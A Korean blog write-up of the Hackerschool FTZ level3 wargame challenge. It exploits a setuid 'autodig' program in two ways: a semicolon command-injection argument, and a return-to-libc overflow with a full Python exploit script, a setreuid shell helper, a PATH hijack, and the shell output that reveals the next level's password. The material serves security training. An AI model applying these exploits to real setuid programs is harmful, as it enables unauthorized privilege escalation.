Hackerschool FTZ level3

2011. 7. 17. 01:48·Wargame/FTZ
Category : System hacking

ssh://ftz.hackerschool.org
id : level3
pw : can you fly?

Summary : overflow , command string with semicolon

서버에 접속하여 디렉토리에 있는 파일들을 확인해보면 hint라는 파일을 볼 수 있다.

[level3@ftz level3]$ ls -l
합계 12
-rw-r--r--    1 root     root          543 11월 26  2000 hint
drwxr-xr-x    2 root     level3       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level3       4096  7월 10 08:23 tmp
[level3@ftz level3]$ cat hint


다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(int argc, char **argv){
 
    char cmd[100];
 
    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }
 
    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");
 
    system( cmd );
 
}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?


autodig라는 프로그램의 source라고 하는데 우선 autodig라는 프로그램을 찾아본다.

[level3@ftz level3]$ find / -name autodig 2> /dev/null
/bin/autodig
[level3@ftz level3]$ ls -l /bin/autodig
-rwsr-x---    1 level4   level3      22931  3월 29  2003 /bin/autodig

setuid가 걸린 level4 user의 프로그램이다.
source파일이 주어져 있으므로 다시 읽어보면 프로그램에서 2가지 취약점을 찾을 수 있다.

argv[1]에 입력한 값을 필터링없이 system함수로 실행하기 때문에 원하는 명령을 실행할 수 있는 취약점 , 다른 취약점은 strcat으로 argv[1]에 입력한 값을 지역변수에 복사해주기 때문에 overflow 취약점이다.

전자로 먼저 풀이를 한다.

argv[1]의 앞뒤에 문자열을 이어붙이고 , system 함수로 실행을 하기때문에 원하는 명령을 정상적으로 실행하기위해선 앞의 명령과 뒤의 문자열과 분리해줄 필요가 있다.
세미콜론을 이용해서 다른명령으로 구분시켜줄 수 있다.
하지만 표준입출력에서 그냥 세미콜론을 넣게 되면 "autodig 명령"과 "입력한 명령"이 분리가 되는 셈이 되기때문에 쿼터를 이용해 문자열로 만들어줌으로써 argv[1]에 전달해야 한다.
/bin/sh를 실행하기위해 "pwn3r;sh;"를 전달해준다.


[level3@ftz level3]$ autodig "pwn3r;sh;"
 
^C
sh-2.05b$ id
uid=3004(level4) gid=3003(level3) groups=3003(level3)

level4 user의 쉘을 얻었다.



이번에는 buffer overflow 취약점도 있으므로 RTL(return to libc)을 이용해 공격해본다.
cmd라는 지역변수 한개를 선언했기때문에  스택의 구조는 매우 단순하다.

0x08048513 <main+3>: sub    $0x78,%esp

지역변수는 총 0x78(120)byte가 선언되었다.
넘겨준 문자열 앞에 "dig @"라는 문자열을 이어붙인다는 점을 고려해야한다.

return address부분에 공유 라이브러리의 system함수의 주소를 넣어주고 인자로 "GNU"라는 문자열의 주소를 전달해준다.
그렇게되면 system("GNU");가 실행되게 되는데 , GNU를 setreuid를 수행하고 /bin/sh를 실행하는 프로그램에 symbolic link 걸어준다. 그리고 PATH 환경변수에 GNU가 있는 경로를 추가해주어야한다.
위 동작을 python script를 이용해 진행한다. (-c option을 이용한 한 줄 실행이 빠르지만 어쩌다 보니 python script를 작성했다 ..?)

[level3@ftz tmp]$ cat exploit.py
#!/usr/bin/python

import os , struct

system_libc = struct.pack("<l" , 0x4005f430)
GNU = struct.pack("<l" , 0x8048114)
payload = ""


payload += "a" * 115
payload += "b" * 4
payload += system_libc
payload += "c" * 4
payload += GNU

os.execl("/bin/autodig" , "autodig" , payload)
[level3@ftz tmp]$ cat pwn3r.c
#include <stdio.h>

int main()
{
 setreuid(geteuid(),geteuid());
 execl("/bin/sh" , "sh" , NULL);
}
[level3@ftz tmp]$ gcc -o pwn3r pwn3r.c
[level3@ftz tmp]$ ln -s pwn3r GNU
[level3@ftz tmp]$ export PATH=./:$PATH
[level3@ftz tmp]$
[level3@ftz tmp]$ ./exploit.py
[level3@ftz tmp]$ ./exploit.py
dig: Couldn't find server 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb0?cccc?': Name or service not known
Xshellsh-2.05b$
sh-2.05b$ id
uid=3004(level4) gid=3003(level3) groups=3003(level3)
sh-2.05b$ my-pass

Level4 Password is "suck my brain".


level4 user의 쉘을 획득하고 password를 얻었다.














'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level6  (0) 2011.07.17
Hackerschool FTZ level5  (1) 2011.07.17
Hackerschool FTZ level4  (0) 2011.07.17
Hackerschool FTZ level2  (0) 2011.07.17
Hackerschool FTZ level1  (0) 2011.05.29
'Wargame/FTZ' 카테고리의 다른 글
  • Hackerschool FTZ level5
  • Hackerschool FTZ level4
  • Hackerschool FTZ level2
  • Hackerschool FTZ level1
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    정보보호올림피아드
    pwnables
    web
    gnuboard
    POC
    HUST
    vuln
    HUST2011
    csaw
    csaw ctf
    후기
    power of community
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
Hackerschool FTZ level3
상단으로

티스토리툴바